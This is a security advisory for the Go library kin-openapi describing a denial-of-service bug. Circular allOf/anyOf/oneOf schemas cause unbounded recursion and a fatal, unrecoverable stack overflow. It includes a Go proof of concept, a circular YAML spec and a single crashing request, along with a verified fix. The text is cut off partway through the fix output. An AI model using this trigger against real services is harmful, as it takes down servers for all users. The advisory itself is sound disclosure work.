kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash

## Summary kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error. The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients. Two independent unguarded recursion sites were confirmed: 1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation). 2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`. ## Details ### Root Cause `Schema.validate()` has cycle detection (`openapi3/schema.go:1396`): ```go func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) { if slices.Contains(stack, schema) { return stack, nil } // ... stack = append(stack, schema) ``` The runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema: ```go func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) { // ... for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf v := item.Value // no check for item.Value == schema (or any ancestor) if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle ``` The request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`): ```go func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) { if len(schema.Value.AllOf) > 0 { for _, sr := range schema.Value.AllOf { value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check ``` ## Proof of Concept ### Environment - kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`) - Go 1.26.7 ### Path A: response / direct schema validation (`VisitJSON`) A schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`: ```go recursiveSchema := &openapi3.Schema{ Type: &openapi3.Types{"object"}, Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}}, } recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular _ = recursiveSchema.Validate(ctx) // accepted, no error _ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes ``` Output: ``` Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)... runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow goroutine 1 [running]: github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...) openapi3/schema.go:1951 github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...) openapi3/schema.go:2309 github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...) openapi3/schema.go:1981 github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...) openapi3/schema.go:2309 ... (repeats until stack overflow) ``` A `defer recover()` placed around the call did **not** catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable. ### Path B: HTTP request validation against a loaded spec (realistic delivery) A legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`: ```yaml openapi: '3.0.0' info: { title: Circular allOf crash PoC, version: '1.0' } paths: /test: get: parameters: - name: data in: query schema: { $ref: '#/components/schemas/Recursive' } responses: { '200': { description: OK } } components: schemas: Recursive: type: object allOf: - $ref: '#/components/schemas/Recursive' properties: name: { type: string } ``` A single `GET /test?data=x` crashes the whole server process: ``` Validate() ACCEPTED the spec with circular allOf $ref Sending GET /test?data=x through a real net/http server... runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow ... github.com/getkin/kin-openapi/openapi3filter.decodeValue(...) openapi3filter/req_resp_decoder.go:278 github.com/getkin/kin-openapi/openapi3filter.decodeValue(...) openapi3filter/req_resp_decoder.go:278 ... (repeats until stack overflow) ``` The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host. ### Fix verification Adding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash: - `visitJSON` guard: `VisitJSON()` returned normally instead of crashing. - `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`: ``` Response: 400 "invalid: parameter \"data\" in query has an e…